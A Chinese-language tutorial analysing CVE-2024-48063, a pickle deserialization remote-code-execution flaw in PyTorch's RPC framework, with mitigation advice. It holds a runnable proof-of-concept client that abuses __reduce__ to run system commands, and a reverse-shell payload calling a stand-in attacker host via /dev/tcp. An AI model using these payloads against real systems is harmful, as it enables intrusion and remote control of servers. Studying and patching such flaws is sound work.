PyTorch RPC框架反序列化RCE漏洞分析(CVE-2024-48063) 教学文档

漏洞概述

CVE-2024-48063是PyTorch分布式RPC框架中的一个反序列化远程代码执行(RCE)漏洞。该漏洞存在于PyTorch 2.4.1及之前版本中，攻击者可以通过构造恶意序列化数据在RPC服务端执行任意代码。

漏洞原理

RPC框架工作机制

PyTorch的RPC(Remote Procedure Call)框架允许在不同进程或机器间进行远程调用。主要组件包括：

• rpc.init_rpc() - 初始化RPC环境
• RemoteModule - 远程模块调用
• 序列化/反序列化机制 - 用于数据传输

漏洞根源

漏洞源于PyTorch RPC框架在反序列化过程中未对__reduce__方法进行适当过滤。Python的__reduce__方法允许自定义对象的序列化/反序列化行为，攻击者可利用此特性注入恶意代码。

漏洞复现

环境搭建

1. 使用conda创建虚拟环境：

conda create -n pytorch_rce python=3.8
conda activate pytorch_rce

2. 安装易受攻击的PyTorch版本：

pip install torch==2.4.1

服务端代码 (server.py)

import torch
import torch.distributed.rpc as rpc

def run_server():
    # 初始化服务端RPC
    rpc.init_rpc("server", rank=0, world_size=2)
    # 等待客户端的远程调用
    rpc.shutdown()

if __name__ == "__main__":
    run_server()

恶意客户端代码 (client.py)

import torch
import torch.distributed.rpc as rpc
from torch.distributed.nn.api.remote_module import RemoteModule
import torch.nn as nn

# 定义包含恶意__reduce__的模型
class MyModel(nn.Module):
    def __init__(self):
        super(MyModel, self).__init__()
        self.fc = nn.Linear(2, 2)
    
    # 恶意反序列化方法
    def __reduce__(self):
        return (__import__('os').system, ("id;ls",))

def run_client():
    # 初始化客户端RPC
    rpc.init_rpc("client", rank=1, world_size=2)
    
    # 创建远程模块触发漏洞
    remote_model = RemoteModule("server", MyModel())

if __name__ == "__main__":
    run_client()

攻击流程

1. 攻击者启动恶意客户端
2. 客户端通过RPC框架向服务端发送包含恶意__reduce__方法的模型
3. 服务端反序列化该模型时执行__reduce__中定义的恶意代码
4. 系统命令被执行，实现RCE

漏洞分析

关键点

1. 不安全的反序列化：PyTorch RPC框架使用Python的pickle进行对象序列化/反序列化，但未对危险方法进行过滤

2. __reduce__滥用：攻击者通过重写__reduce__方法，在反序列化时执行任意代码

3. 权限上下文：代码在服务端进程权限下执行，可能导致严重危害

攻击向量

• 任意命令执行
• 文件系统操作
• 网络访问
• 权限提升

防护措施

官方修复

升级到PyTorch 2.4.2或更高版本，官方已修复此漏洞。

临时缓解方案

1. 限制RPC服务访问：

   • 使用防火墙规则限制访问源
   • 启用认证机制

2. 输入验证：

   • 实现自定义反序列化检查
   • 使用安全的白名单机制

3. 最小权限原则：

   • 以低权限用户运行PyTorch服务
   • 使用容器化技术隔离环境

深入技术细节

PyTorch RPC序列化流程

1. 客户端调用RemoteModule时，模型被pickle序列化
2. 数据通过RPC通道传输到服务端
3. 服务端使用pickle反序列化数据
4. 反序列化过程中调用__reduce__方法

恶意payload构造

攻击者可以构造多种形式的__reduce__方法：

# 示例1: 执行系统命令
def __reduce__(self):
    return (os.system, ("malicious_command",))

# 示例2: 反弹shell
def __reduce__(self):
    return (eval, ("__import__('os').system('bash -i >& /dev/tcp/attacker/4444 0>&1')",))

总结

CVE-2024-48063暴露了PyTorch RPC框架在安全设计上的缺陷，强调了在分布式系统中安全序列化的重要性。开发者应当：

1. 及时更新依赖库
2. 谨慎处理反序列化操作
3. 实施深度防御策略
4. 监控异常RPC活动

对于使用PyTorch分布式训练的用户，建议全面评估系统安全性并采取适当的防护措施。